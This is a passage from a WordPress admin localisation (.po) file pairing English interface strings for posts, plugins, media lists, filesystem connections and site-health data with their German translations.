msgstr "– ODER –" #: wp-admin/includes/class-wp-posts-list-table.php:1600 #: wp-admin/includes/class-wp-posts-list-table.php:1703 #: wp-admin/includes/class-wp-posts-list-table.php:1742 #: wp-admin/includes/class-wp-posts-list-table.php:1784 #: wp-admin/includes/class-wp-posts-list-table.php:1797 #: wp-admin/includes/class-wp-posts-list-table.php:1841 #: wp-admin/includes/class-wp-posts-list-table.php:1864 #: wp-admin/includes/class-wp-posts-list-table.php:1889 msgid "— No Change —" msgstr "– Keine Änderung –" #: wp-admin/includes/class-wp-posts-list-table.php:1545 #: wp-admin/includes/class-wp-terms-list-table.php:648 msgid "Quick Edit" msgstr "QuickEdit" #: wp-admin/includes/class-wp-posts-list-table.php:1545 msgid "Bulk Edit" msgstr "Mehrfachbearbeitung" #: wp-admin/includes/class-wp-posts-list-table.php:1430 msgid "Export as JSON" msgstr "Als JSON exportieren" #. translators: %s: Post title. #: wp-admin/includes/class-wp-posts-list-table.php:1429 msgid "Export “%s” as JSON" msgstr "„%s“ als JSON exportieren" #. translators: %s: Post title. #. translators: %s: Theme name. #: wp-admin/includes/class-wp-posts-list-table.php:1409 #: wp-admin/includes/class-wp-theme-install-list-table.php:273 msgid "Preview “%s”" msgstr "„%s“ ansehen" #. translators: %s: Post title. #. translators: %s: Taxonomy term name. #: wp-admin/includes/class-wp-posts-list-table.php:1366 #: wp-admin/includes/class-wp-terms-list-table.php:488 msgid "Quick edit “%s” inline" msgstr "Schnellanpassung für „%s“ (inline)" #: wp-admin/includes/class-wp-posts-list-table.php:1109 msgid "Missed schedule" msgstr "Verpasste Planung" #. translators: %s: User's display name. #: wp-admin/includes/class-wp-posts-list-table.php:1024 #: wp-admin/includes/misc.php:1078 msgid "%s is currently editing" msgstr "%s bearbeitet momentan" #. translators: %s: Post title. #: wp-admin/includes/class-wp-posts-list-table.php:956 msgid "“%s” is locked" msgstr "„%s“ ist gesperrt" #. translators: Posts screen column name. #: wp-admin/includes/class-wp-posts-list-table.php:620 msgctxt "column name" msgid "Title" msgstr "Titel" #: wp-admin/includes/class-wp-posts-list-table.php:509 msgid "All formats" msgstr "Alle Formate" #: wp-admin/includes/class-wp-posts-list-table.php:507 msgid "Filter by post format" msgstr "Nach Beitrags-Format filtern" #. translators: %s: Number of posts. #: wp-admin/includes/class-wp-posts-list-table.php:378 msgctxt "posts" msgid "Sticky <span class=\"count\">(%s)</span>" msgid_plural "Sticky <span class=\"count\">(%s)</span>" msgstr[0] "Oben gehalten <span class=\"count\">(%s)</span>" msgstr[1] "Oben gehalten <span class=\"count\">(%s)</span>" #. translators: %s: Number of posts. #: wp-admin/includes/class-wp-posts-list-table.php:328 msgctxt "posts" msgid "All <span class=\"count\">(%s)</span>" msgid_plural "All <span class=\"count\">(%s)</span>" msgstr[0] "Alle <span class=\"count\">(%s)</span>" msgstr[1] "Alle <span class=\"count\">(%s)</span>" #. translators: %s: Number of posts. #: wp-admin/includes/class-wp-posts-list-table.php:307 msgctxt "posts" msgid "Mine <span class=\"count\">(%s)</span>" msgid_plural "Mine <span class=\"count\">(%s)</span>" msgstr[0] "Meine <span class=\"count\">(%s)</span>" msgstr[1] "Meine <span class=\"count\">(%s)</span>" #: wp-admin/includes/class-wp-plugins-list-table.php:1117 #: wp-admin/themes.php:689 wp-admin/js/updates.js:2960 #: wp-admin/includes/class-wp-ms-themes-list-table.php:792 msgid "Enable auto-updates" msgstr "Automatische Aktualisierungen aktivieren" #: wp-admin/includes/class-wp-plugins-list-table.php:1113 #: wp-admin/themes.php:685 wp-admin/js/updates.js:2949 #: wp-admin/includes/class-wp-ms-themes-list-table.php:788 msgid "Disable auto-updates" msgstr "Automatische Aktualisierungen deaktivieren" #: wp-admin/includes/class-wp-plugins-list-table.php:1077 msgid "This plugin failed to load properly and is paused during recovery mode." msgstr "Dieses Plugin konnte nicht richtig geladen werden und wird im Wiederherstellungsmodus angehalten." #: wp-admin/includes/class-wp-plugins-list-table.php:1052 msgid "Visit plugin site" msgstr "Plugin-Seite aufrufen" #: wp-admin/includes/class-wp-plugins-list-table.php:1046 msgid "View details" msgstr "Details ansehen" #: wp-admin/includes/class-wp-plugins-list-table.php:844 #: wp-admin/themes.php:613 msgid "Resume" msgstr "Fortsetzen" #. translators: %s: Plugin name. #: wp-admin/includes/class-wp-plugins-list-table.php:843 msgctxt "plugin" msgid "Resume %s" msgstr "%s fortsetzen" #. translators: %s: Plugin name. #: wp-admin/includes/class-wp-plugins-list-table.php:832 msgctxt "plugin" msgid "Deactivate %s" msgstr "%s deaktivieren" #: wp-admin/includes/class-wp-plugins-list-table.php:823 msgid "Network Only" msgstr "Nur für das gesamte Netzwerk aktivierbar" #: wp-admin/includes/class-wp-plugins-list-table.php:819 msgid "Network Active" msgstr "Netzwerkweit aktiviert" #. translators: %s: Plugin name. #: wp-admin/includes/class-wp-plugins-list-table.php:811 #: wp-admin/includes/class-wp-plugins-list-table.php:865 msgctxt "plugin" msgid "Delete %s" msgstr "%s löschen" #. translators: %s: Plugin name. #: wp-admin/includes/class-wp-plugins-list-table.php:789 msgctxt "plugin" msgid "Network Deactivate %s" msgstr "%s netzwerkweit deaktivieren" #. translators: 1: Drop-in constant name, 2: wp-config.php #: wp-admin/includes/class-wp-plugins-list-table.php:763 msgid "Requires %1$s in %2$s file." msgstr "Benötigt %1$s in Datei %2$s." #: wp-admin/includes/class-wp-plugins-list-table.php:760 msgid "Inactive:" msgstr "Inaktiv:" #. translators: %s: mu-plugins directory name. #: wp-admin/includes/class-wp-plugins-list-table.php:662 msgid "Files in the %s directory are executed automatically." msgstr "Dateien im Verzeichnis %s werden automatisch ausgeführt." #: wp-admin/includes/class-wp-plugins-list-table.php:658 msgid "Clear List" msgstr "Liste säubern" #: wp-admin/includes/class-wp-plugins-list-table.php:622 #: wp-admin/includes/class-wp-ms-themes-list-table.php:489 msgid "Disable Auto-updates" msgstr "Automatische Aktualisierungen deaktivieren" #: wp-admin/includes/class-wp-plugins-list-table.php:619 #: wp-admin/includes/class-wp-ms-themes-list-table.php:485 msgid "Enable Auto-updates" msgstr "Automatische Aktualisierungen aktivieren" #: wp-admin/includes/class-wp-plugins-list-table.php:605 #: wp-admin/includes/class-wp-plugins-list-table.php:833 #: wp-admin/includes/class-wp-ms-sites-list-table.php:700 msgid "Deactivate" msgstr "Deaktivieren" #: wp-admin/includes/class-wp-plugins-list-table.php:605 #: wp-admin/includes/class-wp-plugins-list-table.php:790 msgid "Network Deactivate" msgstr "Netzwerkweit deaktivieren" #. translators: %s: Number of plugins. #. translators: %s: Number of themes. #: wp-admin/includes/class-wp-plugins-list-table.php:570 #: wp-admin/includes/class-wp-ms-themes-list-table.php:432 msgid "Auto-updates Disabled <span class=\"count\">(%s)</span>" msgid_plural "Auto-updates Disabled <span class=\"count\">(%s)</span>" msgstr[0] "Automatische Aktualisierung deaktiviert <span class=\"count\">(%s)</span>" msgstr[1] "Automatische Aktualisierungen deaktiviert <span class=\"count\">(%s)</span>" #. translators: %s: Number of plugins. #. translators: %s: Number of themes. #: wp-admin/includes/class-wp-plugins-list-table.php:562 #: wp-admin/includes/class-wp-ms-themes-list-table.php:424 msgid "Auto-updates Enabled <span class=\"count\">(%s)</span>" msgid_plural "Auto-updates Enabled <span class=\"count\">(%s)</span>" msgstr[0] "Automatische Aktualisierung aktiviert <span class=\"count\">(%s)</span>" msgstr[1] "Automatische Aktualisierungen aktiviert <span class=\"count\">(%s)</span>" #. translators: %s: Number of plugins. #: wp-admin/includes/class-wp-plugins-list-table.php:554 msgid "Update Available <span class=\"count\">(%s)</span>" msgid_plural "Update Available <span class=\"count\">(%s)</span>" msgstr[0] "Aktualisierung verfügbar <span class=\"count\">(%s)</span>" msgstr[1] "Verfügbare Aktualisierungen <span class=\"count\">(%s)</span>" #. translators: %s: Number of plugins. #: wp-admin/includes/class-wp-plugins-list-table.php:546 msgid "Paused <span class=\"count\">(%s)</span>" msgid_plural "Paused <span class=\"count\">(%s)</span>" msgstr[0] "<span class=\"count\">(%s)</span> angehalten" msgstr[1] "<span class=\"count\">(%s)</span> angehalten" #. translators: %s: Number of plugins. #: wp-admin/includes/class-wp-plugins-list-table.php:538 msgid "Drop-in <span class=\"count\">(%s)</span>" msgid_plural "Drop-ins <span class=\"count\">(%s)</span>" msgstr[0] "Drop-in <span class=\"count\">(%s)</span>" msgstr[1] "Drop-ins <span class=\"count\">(%s)</span>" #. translators: %s: Number of plugins. #: wp-admin/includes/class-wp-plugins-list-table.php:530 msgid "Must-Use <span class=\"count\">(%s)</span>" msgid_plural "Must-Use <span class=\"count\">(%s)</span>" msgstr[0] "Obligatorisch <span class=\"count\">(%s)</span>" msgstr[1] "Obligatorisch <span class=\"count\">(%s)</span>" #. translators: %s: Number of plugins. #: wp-admin/includes/class-wp-plugins-list-table.php:522 msgid "Inactive <span class=\"count\">(%s)</span>" msgid_plural "Inactive <span class=\"count\">(%s)</span>" msgstr[0] "Inaktiv <span class=\"count\">(%s)</span>" msgstr[1] "Inaktiv <span class=\"count\">(%s)</span>" #. translators: %s: Number of plugins. #: wp-admin/includes/class-wp-plugins-list-table.php:514 msgid "Recently Active <span class=\"count\">(%s)</span>" msgid_plural "Recently Active <span class=\"count\">(%s)</span>" msgstr[0] "Kürzlich aktiv <span class=\"count\">(%s)</span>" msgstr[1] "Kürzlich aktiv <span class=\"count\">(%s)</span>" #. translators: %s: Number of plugins. #: wp-admin/includes/class-wp-plugins-list-table.php:506 msgid "Active <span class=\"count\">(%s)</span>" msgid_plural "Active <span class=\"count\">(%s)</span>" msgstr[0] "Aktiviert <span class=\"count\">(%s)</span>" msgstr[1] "Aktiviert <span class=\"count\">(%s)</span>" #. translators: %s: Number of plugins. #: wp-admin/includes/class-wp-plugins-list-table.php:497 msgctxt "plugins" msgid "All <span class=\"count\">(%s)</span>" msgid_plural "All <span class=\"count\">(%s)</span>" msgstr[0] "Alle <span class=\"count\">(%s)</span>" msgstr[1] "Alle <span class=\"count\">(%s)</span>" #: wp-admin/includes/class-wp-plugins-list-table.php:467 #: wp-admin/includes/class-wp-ms-themes-list-table.php:336 msgid "Automatic Updates" msgstr "Automatische Aktualisierungen" #: wp-admin/includes/class-wp-plugins-list-table.php:462 msgid "Plugin" msgstr "Plugin" #: wp-admin/includes/class-wp-plugins-list-table.php:447 msgid "Search installed plugins..." msgstr "Installierte Plugins durchsuchen ..." #: wp-admin/includes/class-wp-plugins-list-table.php:419 #: wp-admin/plugin-editor.php:31 wp-admin/js/updates.js:1050 msgid "No plugins are currently available." msgstr "Momentan sind keine Plugins verfügbar." #: wp-admin/includes/class-wp-plugins-list-table.php:417 msgid "No plugins found." msgstr "Keine Plugins gefunden." #: wp-admin/includes/class-wp-plugins-list-table.php:414 msgid "Search for plugins in the WordPress Plugin Directory." msgstr "Suche nach Plugins im WordPress-Plugin-Verzeichnis." #. translators: %s: Plugin search term. #: wp-admin/includes/class-wp-plugins-list-table.php:410 msgid "No plugins found for: %s." msgstr "Keine Plugins gefunden für: %s." #: wp-admin/includes/class-wp-plugin-install-list-table.php:766 msgid "<strong>Compatible</strong> with your version of WordPress" msgstr "<strong>Kompatibel</strong> mit deiner WordPress-Version." #: wp-admin/includes/class-wp-plugin-install-list-table.php:764 msgid "<strong>Incompatible</strong> with your version of WordPress" msgstr "<strong>Inkompatibel</strong> mit deiner WordPress-Version." #: wp-admin/includes/class-wp-plugin-install-list-table.php:762 msgid "Untested with your version of WordPress" msgstr "Ungetestet mit deiner WordPress-Version" #. translators: %s: Number of installations. #: wp-admin/includes/class-wp-plugin-install-list-table.php:756 msgid "%s Active Installations" msgstr "%s aktive Installationen" #: wp-admin/includes/class-wp-plugin-install-list-table.php:751 #: wp-admin/includes/plugin-install.php:693 msgctxt "Active plugin installations" msgid "Less Than 10" msgstr "Weniger als 10" #. translators: %s: Number of millions. #: wp-admin/includes/class-wp-plugin-install-list-table.php:747 #: wp-admin/includes/plugin-install.php:689 msgctxt "Active plugin installations" msgid "%s+ Million" msgid_plural "%s+ Million" msgstr[0] "%s+ Million" msgstr[1] "%s+ Millionen" #: wp-admin/includes/class-wp-plugin-install-list-table.php:735 #: wp-admin/includes/plugin-install.php:658 msgid "Last Updated:" msgstr "Zuletzt aktualisiert:" #: wp-admin/includes/class-wp-plugin-install-list-table.php:687 msgid "This plugin doesn’t work with your version of PHP." msgstr "Dieses Plugin funktioniert nicht mit deiner PHP-Version." #: wp-admin/includes/class-wp-plugin-install-list-table.php:678 msgid "This plugin doesn’t work with your version of WordPress." msgstr "Dieses Plugin funktioniert nicht mit deiner WordPress-Version." #: wp-admin/includes/class-wp-plugin-install-list-table.php:654 msgid "This plugin doesn’t work with your versions of WordPress and PHP." msgstr "Dieses Plugin funktioniert nicht mit deinen Versionen von WordPress und PHP. " #: wp-admin/includes/class-wp-plugin-install-list-table.php:624 msgid "More Details" msgstr "Weitere Details" #: wp-admin/includes/class-wp-plugin-install-list-table.php:606 msgctxt "plugin" msgid "Installed" msgstr "Installiert" #. translators: %s: Plugin name. #: wp-admin/includes/class-wp-plugin-install-list-table.php:593 #: wp-admin/includes/class-wp-plugins-list-table.php:800 #: wp-admin/js/updates.js:743 msgctxt "plugin" msgid "Network Activate %s" msgstr "%s netzwerkweit aktivieren" #. translators: %s: Plugin name. #: wp-admin/includes/class-wp-plugin-install-list-table.php:580 #: wp-admin/includes/class-wp-plugins-list-table.php:854 #: wp-admin/js/updates.js:754 msgctxt "plugin" msgid "Activate %s" msgstr "%s aktivieren" #: wp-admin/includes/class-wp-plugin-install-list-table.php:575 msgctxt "plugin" msgid "Active" msgstr "Aktiv" #: wp-admin/includes/class-wp-plugin-install-list-table.php:564 #: wp-admin/includes/plugin-install.php:876 msgctxt "plugin" msgid "Cannot Update" msgstr "Aktualisierung nicht möglich" #: wp-admin/includes/class-wp-plugin-install-list-table.php:559 #: wp-admin/js/updates.js:636 msgid "Update Now" msgstr "Jetzt aktualisieren" #. translators: %s: Plugin name and version. #. translators: %s: Plugin name. #: wp-admin/includes/class-wp-plugin-install-list-table.php:557 #: wp-admin/includes/update.php:514 wp-admin/js/updates.js:2108 msgctxt "plugin" msgid "Update %s now" msgstr "%s jetzt aktualisieren" #: wp-admin/includes/class-wp-plugin-install-list-table.php:542 #: wp-admin/includes/plugin-install.php:864 msgctxt "plugin" msgid "Cannot Install" msgstr "Installation nicht möglich" #: wp-admin/includes/class-wp-plugin-install-list-table.php:467 msgctxt "Plugin installer group title" msgid "Tools" msgstr "Werkzeuge" #: wp-admin/includes/class-wp-plugin-install-list-table.php:466 msgctxt "Plugin installer group title" msgid "Social" msgstr "Social" #: wp-admin/includes/class-wp-plugin-install-list-table.php:465 msgctxt "Plugin installer group title" msgid "Performance" msgstr "Leistung" #: wp-admin/includes/class-wp-plugin-install-list-table.php:284 #: wp-admin/js/updates.js:2653 msgid "No plugins found. Try a different search." msgstr "Es wurden keine Plugins gefunden. Versuche es bitte mit einem anderen Suchbegriff." #: wp-admin/includes/class-wp-plugin-install-list-table.php:281 #: wp-admin/includes/class-wp-theme-install-list-table.php:151 #: wp-admin/setup-config.php:280 wp-admin/theme-install.php:65 msgid "Try Again" msgstr "Erneut versuchen" #: wp-admin/includes/class-wp-plugin-install-list-table.php:117 #: wp-admin/plugin-install.php:138 wp-admin/update.php:156 msgid "Upload Plugin" msgstr "Plugin hochladen" #: wp-admin/includes/class-wp-plugin-install-list-table.php:112 msgctxt "Plugin Installer" msgid "Favorites" msgstr "Favoriten" #: wp-admin/includes/class-wp-plugin-install-list-table.php:111 msgctxt "Plugin Installer" msgid "Recommended" msgstr "Empfohlen" #: wp-admin/includes/class-wp-plugin-install-list-table.php:110 msgctxt "Plugin Installer" msgid "Popular" msgstr "Populär" #: wp-admin/includes/class-wp-plugin-install-list-table.php:109 msgctxt "Plugin Installer" msgid "Featured" msgstr "Vorgestellt" #: wp-admin/includes/class-wp-plugin-install-list-table.php:106 msgctxt "Plugin Installer" msgid "Beta Testing" msgstr "Beta-Testen" #: wp-admin/includes/class-wp-plugin-install-list-table.php:102 #: wp-admin/includes/class-wp-theme-install-list-table.php:61 #: wp-admin/includes/file.php:32 wp-admin/js/updates.js:2544 msgid "Search Results" msgstr "Suchergebnisse" #. translators: %s: Attachment title. #. translators: %s: Post title. #: wp-admin/includes/class-wp-media-list-table.php:748 #: wp-admin/includes/class-wp-posts-list-table.php:1378 msgid "Restore “%s” from the Trash" msgstr "„%s“ aus dem Papierkorb wiederherstellen" #: wp-admin/includes/class-wp-media-list-table.php:720 #: wp-admin/includes/class-wp-media-list-table.php:778 #: wp-admin/includes/class-wp-posts-list-table.php:1419 #: wp-admin/includes/class-wp-terms-list-table.php:507 #: wp-admin/includes/class-wp-users-list-table.php:474 #: wp-admin/includes/dashboard.php:752 #: wp-admin/includes/class-wp-ms-users-list-table.php:412 msgid "View" msgstr "Anschauen" #. translators: %s: Attachment title. #. translators: %s: Post title. #: wp-admin/includes/class-wp-media-list-table.php:719 #: wp-admin/includes/class-wp-media-list-table.php:777 #: wp-admin/includes/class-wp-posts-list-table.php:1418 msgid "View “%s”" msgstr "„%s“ ansehen" #. translators: %s: Attachment title. #. translators: %s: Post title. #: wp-admin/includes/class-wp-media-list-table.php:710 #: wp-admin/includes/class-wp-media-list-table.php:767 #: wp-admin/includes/class-wp-posts-list-table.php:1395 msgid "Delete “%s” permanently" msgstr "„%s“ endgültig löschen" #. translators: %s: Attachment title. #. translators: %s: Post title. #: wp-admin/includes/class-wp-media-list-table.php:700 #: wp-admin/includes/class-wp-media-list-table.php:756 #: wp-admin/includes/class-wp-posts-list-table.php:1386 msgid "Move “%s” to the Trash" msgstr "„%s“ in den Papierkorb verschieben" #. translators: %s: Attachment title. #: wp-admin/includes/class-wp-media-list-table.php:552 #: wp-admin/includes/class-wp-media-list-table.php:728 msgid "Attach “%s” to existing content" msgstr "„%s“ mit bestehendem Inhalt verknüpfen" #: wp-admin/includes/class-wp-media-list-table.php:543 msgid "(Unattached)" msgstr "(Nicht verknüpft)" #: wp-admin/includes/class-wp-media-list-table.php:539 msgid "Detach" msgstr "Loslösen" #. translators: %s: Title of the post the attachment is attached to. #: wp-admin/includes/class-wp-media-list-table.php:538 msgid "Detach from “%s”" msgstr "Verknüpfung mit „%s“ aufheben" #: wp-admin/includes/class-wp-media-list-table.php:522 msgid "(Private post)" msgstr "(Privater Beitrag)" #: wp-admin/includes/class-wp-media-list-table.php:481 #: wp-admin/includes/class-wp-posts-list-table.php:1089 msgid "Unpublished" msgstr "Nicht veröffentlicht" #. translators: %s: Attachment title. #. translators: %s: Post title. #. translators: %s: Taxonomy term name. #: wp-admin/includes/class-wp-media-list-table.php:417 #: wp-admin/includes/class-wp-posts-list-table.php:1043 #: wp-admin/includes/class-wp-terms-list-table.php:419 msgid "“%s” (Edit)" msgstr "„%s“ (Bearbeiten)" #. translators: Column name. #: wp-admin/includes/class-wp-media-list-table.php:350 msgctxt "column name" msgid "Date" msgstr "Datum" #: wp-admin/includes/class-wp-media-list-table.php:344 msgctxt "column name" msgid "Uploaded to" msgstr "Hochgeladen zu" #. translators: Column name. #: wp-admin/includes/class-wp-media-list-table.php:314 msgctxt "column name" msgid "File" msgstr "Datei" #: wp-admin/includes/class-wp-media-list-table.php:251 msgid "No media files found." msgstr "Es wurden keine Mediendateien gefunden." #: wp-admin/includes/class-wp-media-list-table.php:249 msgid "No media files found in Trash." msgstr "Keine Mediendateien im Papierkorb gefunden." #: wp-admin/includes/class-wp-media-list-table.php:186 #: wp-admin/includes/class-wp-media-list-table.php:553 #: wp-admin/includes/class-wp-media-list-table.php:729 msgid "Attach" msgstr "Verknüpfen" #: wp-admin/includes/class-wp-media-list-table.php:162 msgctxt "attachment filter" msgid "Trash" msgstr "Papierkorb" #: wp-admin/includes/class-wp-list-table.php:1200 #: wp-admin/includes/nav-menu.php:663 wp-admin/includes/nav-menu.php:894 #: wp-admin/update-core.php:454 wp-admin/update-core.php:574 #: wp-admin/update-core.php:616 wp-admin/update-core.php:738 msgid "Select All" msgstr "Alle auswählen" #: wp-admin/includes/class-wp-list-table.php:978 msgid "Last page" msgstr "Letzte Seite" #. translators: 1: Current page, 2: Total pages. #: wp-admin/includes/class-wp-list-table.php:956 msgctxt "paging" msgid "%1$s of %2$s" msgstr "%1$s von %2$s" #: wp-admin/includes/class-wp-list-table.php:944 #: wp-admin/includes/class-wp-list-table.php:948 msgid "Current Page" msgstr "Aktuelle Seite" #: wp-admin/includes/class-wp-list-table.php:926 msgid "First page" msgstr "Erste Seite" #: wp-admin/includes/class-wp-list-table.php:795 msgid "No pending comments" msgstr "Keine ausstehenden Kommentare" #: wp-admin/includes/class-wp-list-table.php:772 msgid "No approved comments" msgstr "Keine freigegebenen Kommentare" #: wp-admin/includes/class-wp-list-table.php:742 #: wp-admin/includes/class-wp-list-table.php:772 #: wp-admin/includes/class-wp-list-table.php:795 msgid "No comments" msgstr "Keine Kommentare" #. translators: %s: Number of comments. #: wp-admin/includes/class-wp-list-table.php:734 msgid "%s pending comment" msgid_plural "%s pending comments" msgstr[0] "%s ausstehender Kommentar" msgstr[1] "%s ausstehende Kommentare" #. translators: %s: Number of comments. #: wp-admin/includes/class-wp-list-table.php:728 msgid "%s approved comment" msgid_plural "%s approved comments" msgstr[0] "%s freigegebener Kommentar" msgstr[1] "%s freigegebene Kommentare" #. translators: %s: Number of comments. #: wp-admin/includes/class-wp-list-table.php:722 msgid "%s comment" msgid_plural "%s comments" msgstr[0] "%s Kommentar" msgstr[1] "%s Kommentare" #: wp-admin/includes/class-wp-list-table.php:486 msgid "Select bulk action" msgstr "Mehrfachaktion wählen" #: wp-admin/includes/class-wp-list-table.php:170 #: wp-admin/includes/class-wp-screen.php:1336 msgid "Extended view" msgstr "Erweiterte Ansicht" #: wp-admin/includes/class-wp-list-table.php:169 #: wp-admin/includes/class-wp-screen.php:1332 msgid "Compact view" msgstr "Kompakte Ansicht" #. translators: %s: Link name. #: wp-admin/includes/class-wp-links-list-table.php:335 #: wp-admin/includes/meta-boxes.php:1078 msgid "" "You are about to delete this link '%s'\n" " 'Cancel' to stop, 'OK' to delete." msgstr "" "Du bist dabei, diesen Link zu löschen: ‚%s‘\n" " ‚Abbrechen‘ zum Beenden, ‚OK‘ zum Löschen." #. translators: %s: Link name. #. translators: %s: Attachment title. #. translators: %s: Post title. #. translators: %s: Taxonomy term name. #: wp-admin/includes/class-wp-links-list-table.php:197 #: wp-admin/includes/class-wp-media-list-table.php:690 #: wp-admin/includes/class-wp-media-list-table.php:738 #: wp-admin/includes/class-wp-posts-list-table.php:1358 #: wp-admin/includes/class-wp-terms-list-table.php:482 #: wp-admin/includes/dashboard.php:630 wp-admin/includes/dashboard.php:995 msgid "Edit “%s”" msgstr "„%s“ bearbeiten" #. translators: %s: Link name. #. translators: %s: Attachment title. #. translators: %s: Plugin name. #. translators: %s: Post title. #. translators: %s: Taxonomy term name. #. translators: %s: User login. #. translators: %s: Theme name. #. translators: %s: Site URL. #: wp-admin/includes/class-wp-links-list-table.php:177 #: wp-admin/includes/class-wp-media-list-table.php:389 #: wp-admin/includes/class-wp-plugins-list-table.php:961 #: wp-admin/includes/class-wp-posts-list-table.php:946 #: wp-admin/includes/class-wp-terms-list-table.php:372 #: wp-admin/includes/class-wp-users-list-table.php:504 #: wp-admin/update-core.php:542 wp-admin/update-core.php:706 #: wp-admin/includes/class-wp-ms-sites-list-table.php:409 #: wp-admin/includes/class-wp-ms-users-list-table.php:241 msgid "Select %s" msgstr "%s auswählen" #: wp-admin/includes/class-wp-links-list-table.php:138 #: wp-admin/includes/meta-boxes.php:1361 msgid "Rating" msgstr "Bewertung" #: wp-admin/includes/class-wp-links-list-table.php:137 msgid "Visible" msgstr "Sichtbar" #: wp-admin/includes/class-wp-links-list-table.php:136 msgid "Relationship" msgstr "Beziehung" #: wp-admin/includes/class-wp-links-list-table.php:80 msgid "No links found." msgstr "Keine Links gefunden." #. translators: %s: Command. #: wp-admin/includes/class-wp-filesystem-ssh2.php:226 msgid "Unable to perform command: %s" msgstr "Konnte folgenden Befehl nicht ausführen: %s" #. translators: %s: hostname:port #: wp-admin/includes/class-wp-filesystem-ssh2.php:174 msgid "Failed to initialize a SFTP subsystem session with the SSH2 Server %s" msgstr "Die Initialisierung einer SFTP-Subsystem-Sitzung mit dem SSH2-Server %s ist fehlgeschlagen." #. translators: %s: Username. #: wp-admin/includes/class-wp-filesystem-ssh2.php:158 msgid "Public and Private keys incorrect for %s" msgstr "Die öffentlichen und privaten Schlüssel für %s sind nicht korrekt" #. translators: %s: hostname:port #: wp-admin/includes/class-wp-filesystem-ssh2.php:131 msgid "Failed to connect to SSH2 Server %s" msgstr "Kann nicht mit SSH2-Server %s verbinden" #: wp-admin/includes/class-wp-filesystem-ssh2.php:105 msgid "SSH2 password is required" msgstr "SSH2-Passwort (erforderlich)" #: wp-admin/includes/class-wp-filesystem-ssh2.php:95 msgid "SSH2 username is required" msgstr "SSH2-Benutzername (erforderlich)" #: wp-admin/includes/class-wp-filesystem-ssh2.php:81 msgid "SSH2 hostname is required" msgstr "SSH2-Hostname (erforderlich)" #: wp-admin/includes/class-wp-filesystem-ssh2.php:69 msgid "The ssh2 PHP extension is not available" msgstr "Die SSH2-PHP-Erweiterung ist nicht verfügbar" #. translators: %s: Username. #: wp-admin/includes/class-wp-filesystem-ftpext.php:110 #: wp-admin/includes/class-wp-filesystem-ftpsockets.php:113 #: wp-admin/includes/class-wp-filesystem-ssh2.php:145 msgid "Username/Password incorrect for %s" msgstr "Benutzername/Passwort für %s ist nicht korrekt" #. translators: %s: hostname:port #: wp-admin/includes/class-wp-filesystem-ftpext.php:97 #: wp-admin/includes/class-wp-filesystem-ftpsockets.php:87 #: wp-admin/includes/class-wp-filesystem-ftpsockets.php:100 msgid "Failed to connect to FTP Server %s" msgstr "Kann nicht mit FTP-Server %s verbinden" #: wp-admin/includes/class-wp-filesystem-ftpext.php:66 #: wp-admin/includes/class-wp-filesystem-ftpsockets.php:62 msgid "FTP password is required" msgstr "FTP-Passwort (erforderlich)" #: wp-admin/includes/class-wp-filesystem-ftpext.php:60 #: wp-admin/includes/class-wp-filesystem-ftpsockets.php:56 msgid "FTP username is required" msgstr "FTP-Benutzername (erforderlich)" #: wp-admin/includes/class-wp-filesystem-ftpext.php:53 #: wp-admin/includes/class-wp-filesystem-ftpsockets.php:49 msgid "FTP hostname is required" msgstr "FTP-Hostname (erforderlich)" #: wp-admin/includes/class-wp-filesystem-ftpext.php:37 msgid "The ftp PHP extension is not available" msgstr "Die FTP-PHP-Erweiterung ist nicht verfügbar" #. translators: %s: Directory name. #: wp-admin/includes/class-wp-filesystem-base.php:313 msgid "Found %s" msgstr "Gefunden %s" #. translators: %s: Directory name. #: wp-admin/includes/class-wp-filesystem-base.php:295 msgid "Changing to %s" msgstr "Geändert zu %s" #. translators: 1: Folder to locate, 2: Folder to start searching from. #: wp-admin/includes/class-wp-filesystem-base.php:266 msgid "Looking for %1$s in %2$s" msgstr "Suche nach %1$s in %2$s" #: wp-admin/includes/class-wp-debug-data.php:1609 msgid "Total size is not available. Some errors were encountered when determining the size of your installation." msgstr "Die Gesamtgröße ist nicht verfügbar. Bei der Bestimmung der Größe deiner Installation sind einige Fehler aufgetreten." #: wp-admin/includes/class-wp-debug-data.php:1565 msgid "The directory size calculation has timed out. Usually caused by a very large number of sub-directories and files." msgstr "Die Berechnung der Verzeichnisgröße ist abgebrochen. In der Regel wird dies durch eine sehr große Anzahl von Unterverzeichnissen und Dateien verursacht." #: wp-admin/includes/class-wp-debug-data.php:1558 msgid "The size cannot be calculated. The directory is not accessible. Usually caused by invalid permissions." msgstr "Die Größe kann nicht berechnet werden. Das Verzeichnis ist nicht zugänglich. In der Regel verursacht durch ungültige Berechtigungen." #: wp-admin/includes/class-wp-debug-data.php:1348 msgid "The must use plugins directory" msgstr "Das Must-Use-Plugins-Verzeichnis" #: wp-admin/includes/class-wp-debug-data.php:1232 msgid "Auto-update" msgstr "Automatische Aktualisierung" #: wp-admin/includes/class-wp-debug-data.php:1146 wp-admin/plugins.php:574 #: wp-admin/themes.php:196 wp-admin/update-core.php:960 #: wp-admin/network/themes.php:311 msgid "Auto-updates" msgstr "Automatische Aktualisierungen" #: wp-admin/includes/class-wp-debug-data.php:1107 #: wp-admin/includes/class-wp-debug-data.php:1193 msgid "Theme directory location" msgstr "Ort des Theme-Verzeichnisses" #: wp-admin/includes/class-wp-debug-data.php:1103 msgid "Theme features" msgstr "Theme-Funktionen" #: wp-admin/includes/class-wp-debug-data.php:1093 #: wp-admin/includes/class-wp-debug-data.php:1188 msgid "Author website" msgstr "Website des Autors" #: wp-admin/includes/class-wp-debug-data.php:997 #: wp-admin/includes/class-wp-debug-data.php:1313 #: wp-admin/includes/class-wp-plugins-list-table.php:1104 #: wp-admin/themes.php:680 wp-admin/js/updates.js:2962 #: wp-admin/includes/class-wp-ms-themes-list-table.php:779 msgid "Auto-updates disabled" msgstr "Automatische Aktualisierungen deaktiviert" #: wp-admin/includes/class-wp-debug-data.php:995 #: wp-admin/includes/class-wp-debug-data.php:1311 #: wp-admin/includes/class-wp-plugins-list-table.php:1102 #: wp-admin/themes.php:682 wp-admin/js/updates.js:2951 #: wp-admin/includes/class-wp-ms-themes-list-table.php:777 msgid "Auto-updates enabled" msgstr "Automatische Aktualisierungen aktiviert" #. translators: 1: Plugin version number. 2: Plugin author name. #. translators: 1: Theme version number. 2: Theme author name. #: wp-admin/includes/class-wp-debug-data.php:894 #: wp-admin/includes/class-wp-debug-data.php:941 #: wp-admin/includes/class-wp-debug-data.php:1264 msgid "Version %1$s by %2$s" msgstr "Version %1$s von %2$s" #: wp-admin/includes/class-wp-debug-data.php:889 #: 